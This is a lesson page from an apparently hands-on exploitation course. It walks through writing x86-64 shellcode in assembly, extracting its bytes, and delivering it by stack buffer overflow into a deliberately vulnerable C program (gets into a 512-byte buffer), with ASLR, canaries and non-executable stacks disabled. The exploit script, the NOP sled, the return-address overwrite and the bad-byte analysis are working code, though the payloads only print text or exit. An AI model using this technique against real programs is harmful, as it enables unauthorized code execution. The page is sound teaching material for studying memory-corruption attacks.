Writing Payloads in Assembly
Deciding what the exploit does
Section titled “Deciding what the exploit does”We spent most of Executing Code on the Stack getting the processor to run a supplied sequence of 61 bytes. The offset, the sled, and the eight bytes in the return slot were all part of delivering that sequence. What happened afterward came from the instructions inside it, which is the part we haven’t written ourselves yet.
Even changing the message meant editing two places: the text and the mov edx that gives its length. We had replacement bytes for that change, but writing a different instruction would leave us working out its encoding by hand. I’d rather write down the instruction I mean and have a tool do that translation.
That’s what an assembler is for: we write the instructions as text, and it produces the bytes that encode them. You’ve seen this translation as part of GCC’s work in Machine Instructions and Registers. Here we’ll run the assembler ourselves and keep the bytes it produces.
Preparing the VM
Section titled “Preparing the VM”Create a fresh working directory and move into it:
mkdir -p ~/underdunn-course/assembly-payload ~/underdunn-course/notescd ~/underdunn-course/assembly-payloadSave the complete target as lookup.c:
#include <stdio.h>#include <stdlib.h>
void log_query(void){ puts("Query logged."); exit(0);}
void answer_query(void){ char line[512]; gets(line); puts("No such user.");}
int main(void){ puts("Name:"); answer_query(); puts("Lookup complete."); return 0;}Address randomization can move the stack between process launches. Keep it disabled here so the measured address remains usable; the mitigation itself is explained later in the course:
sudo sysctl -w kernel.randomize_va_space=0Build lookup-exec under the same deliberately weakened conditions as the previous lesson:
gcc -g -O0 -fno-omit-frame-pointer -fno-stack-protector -no-pie -z execstack lookup.c -o lookup-execThe last three switches remove the canary, keep the program’s code fixed and request an executable stack. The mitigations section will put those protections back one at a time.
Before writing the payload, find the address of line. Start GDB and stop at the beginning of answer_query:
gdb -q ./lookup-exec(gdb) break answer_query(gdb) run(gdb) print/x &lineCheck the address, leave GDB with quit, and use that value for BUFFER in payload.py below. GDB and your shell give the process slightly different environments, which can move the stack even with randomization disabled. The sled is meant to absorb a modest difference. If it does not, run both sides with an empty environment: add set exec-wrapper env -i before GDB’s run, then use env -i ./lookup-exec < input.bin in the shell.
How a system call is made
Section titled “How a system call is made”In C you call write and the library makes the request for you. A payload has no library, so it makes the request itself, and the kernel reads what it needs out of registers.
The syscall manual page gives the convention for every architecture Linux runs on. The x86-64 row is the one we want:
| Register | Carries |
|---|---|
rax |
which system call is wanted |
rdi |
the first argument |
rsi |
the second argument |
rdx |
the third argument |
The syscall instruction then transfers into the kernel, which reads those registers, does the work, and returns with a result in rax. Two numbers cover this lesson: write is call 1 and exit is call 60.
That is enough to read the payload from the last lesson as two requests rather than as eight opaque instructions.
write takes a file descriptor, a buffer, and a count, so rdi gets 1 for standard output (which is unrelated to write also being call 1, and the collision does catch people), rsi gets the address of the message, and rdx gets its length.
exit takes a status, so rdi gets 0 and nothing else is needed.
Write the assembly
Section titled “Write the assembly”Save this as payload.S:
.intel_syntax noprefix
lea rsi, [rip+message] mov edi, 1 mov edx, OFFSET message_len mov eax, 1 syscall
mov edi, 0 mov eax, 60 syscall
message: .ascii "Executing from the stack."message_end: .set message_len, message_end - messageFour things in there are not instructions for the CPU. They’re for the assembler that’s turning this file into bytes.
.intel_syntax noprefix asks for the notation objdump -Mintel and GDB have been printing all along, rather than the assembler’s default.
The next two deal with the message:
.asciilays down its bytes and nothing else, where.ascizwould add a terminating zero that ourwritewould then print..setgives a name to the distance between the two labels around the message, so the assembler works out the length instead of us.
The fourth is the one that bites. OFFSET asks for the value of message_len, because a bare symbol in this notation means the memory at that address instead. Write mov edx, message_len and the assembler accepts it without complaint, producing a load from address 0x19 rather than a request to print anything.
Writing mov edx, 25 works too, and assembles to the same five bytes. But remember what happened when we shortened the message last lesson: leaving edx at 25 printed four bytes of frame pointer filler after the text. I’d rather let the assembler count the message than rely on remembering to change the same number in two places.
Step through the listing to see each instruction change the registers. The rip → marker points to the next instruction, while “done” marks the one just executed. Blue marks its changed register.
Instructions
- rip →
lea rsi, [rip+message] mov edi, 1mov edx, OFFSET message_lenmov eax, 1syscallmov edi, 0mov eax, 60syscall
Registers
- rip
- 0x7fffffffdfd3
- rsi
- Not shown
- rdi
- Not shown
- rdx
- Not shown
- rax
- Not shown
Before lea: none of these instructions has executed.
No request yet — the registers are not ready.Loading registers does not call the kernel.No output yet.Addresses match the preceding walkthrough. This trace assumes its successful 25-byte write; only the relevant registers are shown. “Not shown” does not mean zero.
Assemble the payload and extract its bytes
Section titled “Assemble the payload and extract its bytes”as produces an object file containing headers and section tables as well as the instruction bytes. We only want the code section’s bytes in the buffer, so objcopy writes those out on their own:
as -o payload.o payload.Sobjcopy -O binary payload.o payload.binwc -c < payload.bin61xxd payload.bin00000000: 488d 351d 0000 00bf 0100 0000 ba19 0000 H.5.............00000010: 00b8 0100 0000 0f05 bf00 0000 00b8 3c00 ..............<.00000020: 0000 0f05 4578 6563 7574 696e 6720 6672 ....Executing fr00000030: 6f6d 2074 6865 2073 7461 636b 2e om the stack.Those should be the same 61 bytes we used last lesson. We can compare the file directly with the supplied literal:
python3 - <<'PY'from pathlib import Path
supplied = bytes.fromhex( "488d351d000000bf01000000ba19000000b8010000000f05bf00000000b83c0000000f05") + b"Executing from the stack."print(supplied == Path("payload.bin").read_bytes())PYTrueba19000000 is the mov edx we asked the assembler to compute, holding 25. 488d351d000000 is the lea, with the same 0x1d displacement, because the message still begins immediately after the last instruction.
Deliver it
Section titled “Deliver it”The complete payload.py listing below reads payload.bin from the same directory. Its BUFFER value belongs to the recorded run; replace it with the address you measured above.
from pathlib import Pathfrom struct import pack
SHELLCODE = Path("payload.bin").read_bytes()
BUFFER = 0x7fffffffde10
sled = 512 - len(SHELLCODE)payload = b"\x90" * sled + SHELLCODE + b"B" * 8 + pack("<Q", BUFFER + sled // 2)
Path("input.bin").write_bytes(payload)print(f"sled {sled}, payload {len(SHELLCODE)}, aim {hex(BUFFER + sled // 2)}, total {len(payload)}")python3 payload.py./lookup-exec < input.binsled 451, payload 61, aim 0x7fffffffdef1, total 528Name:No such user.Executing from the stack.The sled is computed from the payload’s length rather than fixed at 451, which matters from here on, because the payloads you write next are not all 61 bytes.
What the delivery path will carry
Section titled “What the delivery path will carry”The assembler has given us the bytes we asked for, but it doesn’t know how we intend to deliver them.
There are still two limits to check before we can expect the program to receive them, even when the instructions themselves are correct.
The first is length. Ours has 512 bytes of buffer to share with its sled, which is generous only because lookup.c reads an unbounded line into a large buffer. A program reading into 64 bytes leaves room for a payload a fifth of this one’s size, and for no sled worth the name.
The second is which byte values survive the trip. The function reading the input decides that, and it decides it for the whole input rather than for the part you think of as code:
| Input arrives through | It stops at | So the payload may not contain |
|---|---|---|
gets |
a newline | 0x0a |
strcpy |
the string terminator | 0x00 |
scanf("%s") |
any whitespace | 0x09 through 0x0d, and 0x20 |
read |
nothing, it takes a count | any byte |
You have already been bitten by the gets row once without writing a single instruction. The aim window in the last lesson had two dead offsets in the middle of it, &line + 250 and &line + 506, because at those two the address ends in 0x0a. The rule covers every byte of the input, including the ones you compute and the ones the assembler chooses.
So scan before you deliver:
python3 -c "from pathlib import Path; b = Path('payload.bin').read_bytes(); print([i for i, c in enumerate(b) if c == 0x0a] or 'clean')"cleanWrite one of your own: exit with a chosen status
Section titled “Write one of your own: exit with a chosen status”The smallest useful payload makes one request. Write status.S that exits with status 42 and prints nothing, assemble and extract it the same way, deliver it, and check the exit status with echo $?.
Check your payload
.intel_syntax noprefix
mov edi, 42 mov eax, 60 syscallbf2a000000b83c0000000f05Twelve bytes, so the sled grows to 500 and payload.py recomputes the midpoint on its own. Read the aim it prints before you run anything:
sled 500, payload 12, aim 0x7fffffffdf0a, total 528That aim ends in 0x0a. It is the trap from two sections ago, arriving this time in a number the script computed rather than one I typed, and if you deliver it gets stops inside the address and the return slot never gets filled. The midpoint is convenient, not required. Move the aim one byte:
payload = b"\x90" * sled + SHELLCODE + b"B" * 8 + pack("<Q", BUFFER + sled // 2 + 1)python3 payload.py./lookup-exec < input.binecho $?sled 500, payload 12, aim 0x7fffffffdf0b, total 528Name:No such user.42The shell reports 42 because our exit ran and nothing else did. Lookup complete. never prints, since main never got its turn back.
Write one of your own: a message of exactly ten bytes
Section titled “Write one of your own: a message of exactly ten bytes”Now change the message in payload.S to Ten bytes., which is ten characters including the full stop. Everything else stays as it is, and the length looks after itself.
Predict what the program will print before you assemble it. Then assemble, scan, deliver, and run.
What actually happens
Instead of the new message, the program prints its ordinary rejection output:
Name:No such user.Lookup complete.The run exits with status 0 and no crash, matching an ordinary rejected name even though we supplied different input.
The scan says why:
[13]The message is ten bytes, so the assembler emits mov edx, 10 as ba 0a 00 00 00. Byte 13 of the payload is that 0x0a, and gets stopped there. Counting the sled in front of it, the input ended after 479 bytes, well short of the return slot at 520. The saved return address was never touched, so answer_query returned where it always does.
The assembler produced the requested instructions, but the input function stopped before delivering all their bytes. That accounts for both observations: the new message is absent, and the program reaches its usual final line.
The cheap fix is to make the message a length whose byte is not 0x0a. Ten bytes!! is eleven, giving ba 0b 00 00 00, and it prints. Choosing alternative instruction encodings is outside this lesson’s scope.
When it doesn’t work
Section titled “When it doesn’t work”I’d start with the first result that differs from the walkthrough. A different byte count and an ordinary-looking program exit give us different things to check, so don’t start by changing the padding:
- If
wc -creports a byte count you did not predict, disassemble what you actually produced withobjdump -D -b binary -m i386:x86-64 -Mintel payload.binand compare it against your source. Amovthat came out seven bytes long instead of five is a missingOFFSET. - If the program behaves completely normally and prints its usual last line, scan for a prohibited byte, because the input was cut short before it reached the return slot.
- If the script does not report 528 bytes, regenerate
input.binbefore interpreting anything else. - If the program faults, check
x/gx $rbp+8atbreak *0x4011cband confirm the value still falls between&lineand&line + 450. A longer payload shortens the sled, which moves its midpoint. - If the payload runs but prints more or less than you meant, read the
mov edxin your ownxxdoutput and check it against the message length you intended.
To recover a known state, reassemble from the source printed above, confirm 61 bytes, and regenerate input.bin.
Knowledge check
Question 1 of 3
Practice complete
You've checked the key ideas. Revisit any explanation you need, then continue when it makes sense.
The conditions behind the result
Section titled “The conditions behind the result”The input reached a saved return address because of a defect in the program, but executing the supplied bytes also depended on the build and VM settings we chose. We’ve kept those protections out of the way so far.
In the Mitigations section, we’ll turn them back on and see what changes.